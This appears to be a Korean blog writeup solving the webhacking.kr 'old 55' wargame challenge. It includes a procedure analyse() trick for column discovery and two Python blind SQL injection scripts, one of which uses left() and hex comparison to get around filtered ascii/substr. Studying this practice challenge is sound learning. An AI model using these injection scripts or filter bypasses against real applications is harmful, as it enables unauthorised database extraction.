webhacking.kr old 55번 문제풀이(Writeup)
문제를 들어가면 위와 같이 출력된다. rank를 누르니 많은 분들의 점수가 나오기도 한다.
rank 페이지에 마지막 부분을 보니 쿼리문이 나와있다. 3번째 컬럼이 flag라는 것을 알았다. 하지만 컬럼명을 모르기 때문에 저번 문제에서 사용했던 procedure analyse() 함수와 limit를 사용해보자.
limit 0, 1 procedure analyse() 를 하면 0번째 컬럼이 출력될 것이다. 그러니 limit 2, 1 procedure analyse() 로 입력해보자.
입력해보니 컬럼명이 p4ssw0rd_1123581321이라고 나온다. 이제 flag의 길이부터 찾아보자.
Burp Suite에서 패킷 캡처 후 Interlude에서 numbers 옵션으로 1~50까지 Brute force를 진행했다.
31에서 다른 값이 나온다. flag의 길이는 31인 것 같다. 이제는 Blind SQL Injection 스크립트를 작성해보고자 한다.
import requests
URL = "https://webhacking.kr/challenge/web-31/rank.php?score=1"
cookie = {"PHPSESSID":"abcdefg1234"}
flag=''
for i in range(1,32):
for j in range(33,133):
param = "1%20and%20ascii(substr(p4ssw0rd_1123581321,{0},1))={1}%23".format(i,j)
r = requests.get(URL+param, cookies=cookie)
print(j)
if "Piterpan " in r.text:
flag += chr(j)
print(flag)
break
위와 같이 스크립트를 작성했는데 아무리 돌려도 잡히지가 않았다.
확인을 해보니 substr과 ascii가 필터링되고 있었다. 따라서 ascii는 검색해보니 ord, hex로 우회하고, substr은 left, right 등으로 우회를 한다고 해서 다시 스크립트를 작성했다.
import requests
URL = "https://webhacking.kr/challenge/web-31/rank.php?score=1%20and%20"
cookie = {"PHPSESSID":"abcdefg1234"}
flag_From="0x66"
flag="F"
for i in range(2,32):
for j in range(33, 127):
param="left(p4ssw0rd_1123581321,"+str(i)+")="+flag_From+format(j,'x')
param=requests.get(URL+param,cookies=cookie)
if("Piterpan " in param.text):
flag_From += format(j,'x')
flag += chr(j)
print(flag)
break
print(flag)
위와 같이 스크립트를 작성했다. 스크립트를 작성할 때 정말 시행착오가 많았다.
FLAG가 출력되었다. "FLAG{"다음으로는 소문자로 입력하면 된다.
'웹해킹 > webhacking.kr' 카테고리의 다른 글
webhacking.kr old 52번 문제풀이(Writeup) http 헤더 인젝션 문제. (0) | 2022.11.11 |
---|---|
webhacking.kr old 57번 문제풀이(Writeup) Timebase SQL Injection (0) | 2022.11.10 |
webhacking.kr old 53번 문제풀이(Writeup)와 procedure analyse() DB, 테이블 이름 확인 (0) | 2022.11.08 |
webhacking.kr old 35번 문제풀이(Writeup) (0) | 2022.11.07 |
webhacking.kr old 45번 문제풀이(Writeup) (0) | 2022.11.05 |